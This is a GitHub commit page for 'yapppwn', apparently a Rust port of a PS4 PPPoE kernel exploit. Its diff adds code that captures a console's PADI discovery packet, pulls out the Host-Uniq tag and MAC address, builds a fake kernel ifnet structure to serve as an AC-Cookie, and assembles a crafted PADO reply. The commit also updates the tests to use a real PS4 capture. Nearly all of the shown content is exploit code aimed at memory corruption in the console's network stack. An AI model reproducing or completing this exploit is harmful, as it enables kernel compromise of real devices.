Skip to content

Commit

Permalink
Add real ps4 padi message
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Jun 15, 2024
1 parent 15d9ce2 commit 35f7b9c
Show file tree
Hide file tree
Showing 7 changed files with 104 additions and 37 deletions.
18 changes: 9 additions & 9 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
Expand Up @@ -7,34 +7,34 @@
{
"type": "lldb",
"request": "launch",
"name": "Debug executable 'yappwn'",
"name": "Debug executable 'yapppwn'",
"cargo": {
"args": [
"build",
"--bin=yappwn",
"--package=yappwn"
"--bin=yapppwn",
"--package=yapppwn"
],
"filter": {
"name": "yappwn",
"name": "yapppwn",
"kind": "bin"
}
},
"args": [],
"cwd": "${workspaceFolder}"
"cwd": "${workspaceFolder}",
},
{
"type": "lldb",
"request": "launch",
"name": "Debug unit tests in executable 'yappwn'",
"name": "Debug unit tests in executable 'yapppwn'",
"cargo": {
"args": [
"test",
"--no-run",
"--bin=yappwn",
"--package=yappwn"
"--bin=yapppwn",
"--package=yapppwn"
],
"filter": {
"name": "yappwn",
"name": "yapppwn",
"kind": "bin"
}
},
Expand Down
2 changes: 1 addition & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -18,4 +18,4 @@ path = "src/py_yapppwn.rs"

[[bin]]
name = "yapppwn"
path = "src/main.rs"
path = "src/main.rs"
Binary file added padi_ps4.pcap
Binary file not shown.
2 changes: 2 additions & 0 deletions src/constants.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,8 @@

pub const ETHERTYPE_PPPOEDISC: u16 = 0x8863;
pub const PPPOE_CODE_PADI: u8 = 0x09;
pub const PPPOE_CODE_PADO: u8 = 0x07;
pub const PPPOE_SOFTC_SC_AC_COOKIE: u8 = 0x40;

pub const ETH_HEADER_LEN: usize = 14;
pub const ETH_SOURCE_MAC: usize = 6;
Expand Down
96 changes: 72 additions & 24 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,11 @@ use crate::constants;
use crate::macaddress::MacAddress64; // Import the type from macaddress.rs
use pcap::{Active, Capture, Inactive};
use pcap::{Offline, Packet};

pub struct Exploit {
pub target_mac: MacAddress64,
pub pppoe_softc: u64,
pub source_mac: MacAddress64,
pub host_uniq: [u8; 8],
}

impl Exploit {
Expand All @@ -17,30 +17,39 @@ impl Exploit {
println!("[+] Source MAC: {:?}", self.source_mac);
}
pub fn ppp_negotiation(&mut self, mut cap_device: Capture<Active>) {
cap_device.filter("pppoed", true).unwrap();

println!("[*] Starting PPP Negotiation...");
cap_device.filter("pppoed", false).unwrap();
println!("[*] Waiting for PADI...");
while let Ok(packet) = cap_device.next_packet() {
// Check if PADI
println!("[*] Working on Packet...");
if !is_padi_packet(&packet) {
println!("[*] Skipping non PADI...");
continue;
}
println!("{:?}", packet);
println!("[+] PADI packet received");
// Extracting Host Unique Tag and populating the self.pppoe_softc
let host_uniq = extract_host_uniq(&packet).unwrap();
self.pppoe_softc = u64::from_be_bytes(host_uniq);
// Extract and update source mac
self.target_mac = extract_ps4_source_mac(&packet).unwrap();
println!("[+] Exploit Target MAC: {}", self.target_mac);
self.calc_planted();
let ac_cookie = build_fake_ifnet(self.pppoe_softc);
println!("[+] AC cookie length: {:?}", ac_cookie.len());

println!("[*] Sending PADO...")
// TODO
self.handle_padi(&packet);
println!("[*] Sending PADO...");
let fake_ifnet = build_fake_ifnet(self.pppoe_softc);
let pado_packet = create_pado_packet(
self.source_mac.to_mac_address6(),
self.target_mac.to_mac_address6(),
fake_ifnet,
self.pppoe_softc.to_be_bytes(),
);
}
// Setting Target and Source MAC Addresses
// Then finally build the fake interface
println!("[*] Didn't find any PADI...");
}
pub fn handle_padi(&mut self, packet: &Packet) {
println!("{:?}", packet);
println!("[+] PADI packet received");
// Extracting Host Unique Tag and populating the self.pppoe_softc
self.host_uniq = extract_host_uniq(&packet).unwrap();
self.pppoe_softc = u64::from_be_bytes(self.host_uniq);
// Extract and update source mac
self.target_mac = extract_ps4_source_mac(&packet).unwrap();
println!("[+] Exploit Target MAC: {}", self.target_mac);
self.calc_planted();
let ac_cookie = build_fake_ifnet(self.pppoe_softc);
println!("[+] AC cookie length: {:?}", ac_cookie.len());
}
}

Expand Down Expand Up @@ -137,6 +146,45 @@ pub fn build_fake_ifnet(pppoe_softc: u64) -> Vec<u8> {
fake_ifnet.extend(&constants::MTX_UNOWNED.to_le_bytes()); // mtx_lock
fake_ifnet
}
pub fn create_pado_packet(
source_mac: [u8; 6],
target_mac: [u8; 6],
ac_cookie: Vec<u8>,
host_uniq: [u8; 8],
) -> Vec<u8> {
let mut packet = Vec::new();

// Ethernet header
packet.extend_from_slice(&target_mac);
packet.extend_from_slice(&source_mac);
packet.extend_from_slice(&constants::ETHERTYPE_PPPOEDISC.to_be_bytes());

// PPPoE header
packet.push(0x11); // Version (1) and Type (1)
packet.push(constants::PPPOE_CODE_PADO); // Code (PADO)
packet.extend_from_slice(&0u16.to_be_bytes()); // Session ID (not used in PADO)

// Placeholder for Payload Length (2 bytes), will be set later
let payload_length_pos = packet.len();
packet.extend_from_slice(&[0, 0]);

// PPPoE Tag for ACOOKIE
packet.extend_from_slice(&constants::PPPOE_SOFTC_SC_AC_COOKIE.to_be_bytes());
packet.extend_from_slice(&(ac_cookie.len() as u16).to_be_bytes());
packet.extend_from_slice(&ac_cookie);

// PPPoE Tag for HUNIQUE
packet.extend_from_slice(&constants::PPPOE_TAG_HOST_UNIQ.to_be_bytes());
packet.extend_from_slice(&(host_uniq.len() as u16).to_be_bytes());
packet.extend_from_slice(&host_uniq);

// Set the Payload Length
let payload_length = packet.len() - payload_length_pos - 2;
packet[payload_length_pos..payload_length_pos + 2]
.copy_from_slice(&(payload_length as u16).to_be_bytes());

packet
}

#[cfg(test)]
mod tests {
Expand All @@ -146,7 +194,7 @@ mod tests {
#[test]
fn test_is_padi_packet_from_file() {
// Open the pcap file
let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file");
let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file");

let mut found_padi = false;
while let Ok(packet) = cap.next_packet() {
Expand All @@ -166,7 +214,7 @@ mod tests {
#[test]
fn test_extract_host_uniq() {
// Open the pcap file
let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file");
let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file");

while let Ok(packet) = cap.next_packet() {
if is_padi_packet(&packet) {
Expand All @@ -187,7 +235,7 @@ mod tests {
#[test]
fn test_extract_source_mac() {
// Open the pcap file
let mut cap = Capture::from_file("padi_2.pcap").expect("Failed to open pcap file");
let mut cap = Capture::from_file("padi_ps4.pcap").expect("Failed to open pcap file");

while let Ok(packet) = cap.next_packet() {
if is_padi_packet(&packet) {
Expand All @@ -197,7 +245,7 @@ mod tests {
// Assert that the MAC address has the expected length
assert_eq!(source_mac.0.len(), 8);
// Optionally, check the MAC address values
assert_eq!(&source_mac.0[..6], &[0xfa, 0x16, 0x3e, 0x7d, 0xc8, 0x81]);
assert_eq!(&source_mac.0[..6], &[0xc8, 0x63, 0xf1, 0x44, 0x45, 0x97]);
}
Err(e) => {
panic!("Failed to extract Source MAC Address: {:?}", e);
Expand Down
7 changes: 7 additions & 0 deletions src/macaddress.rs
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,13 @@ impl MacAddress64 {
pub fn from_u64(value: u64) -> Self {
MacAddress64(value.to_be_bytes())
}

// Method to truncate to [u8; 6]
pub fn to_mac_address6(&self) -> [u8; 6] {
let mut truncated = [0u8; 6];
truncated.copy_from_slice(&self.0[..6]);
truncated
}
}

// Implement display formatting for MacAddress64
Expand Down
16 changes: 13 additions & 3 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,19 +2,29 @@ mod constants;
mod exploit;
mod macaddress;
use macaddress::MacAddress64;
use pcap::Device;
use pcap::{Capture, Device};

use crate::exploit::Exploit;

fn main() {
// Cap device
let cap = Device::lookup().unwrap().unwrap().open().unwrap();
let interface = "en10";
// Open the specified interface
let dev = Device::list()
.unwrap()
.into_iter()
.find(|d| d.name == interface)
.expect("Specified interface not found");
let cap = Capture::from_device(dev).unwrap();

let open_cap = cap.timeout(10000).open().unwrap();

let mut exploit = Exploit {
target_mac: MacAddress64::from_u64(0),
pppoe_softc: 0,
source_mac: MacAddress64([41, 41, 41, 41, 41, 41, 41, 41]),
host_uniq: [0, 0, 0, 0, 0, 0, 0, 0],
};

exploit.ppp_negotiation(cap);
exploit.ppp_negotiation(open_cap);
}

0 comments on commit 35f7b9c

Please sign in to comment.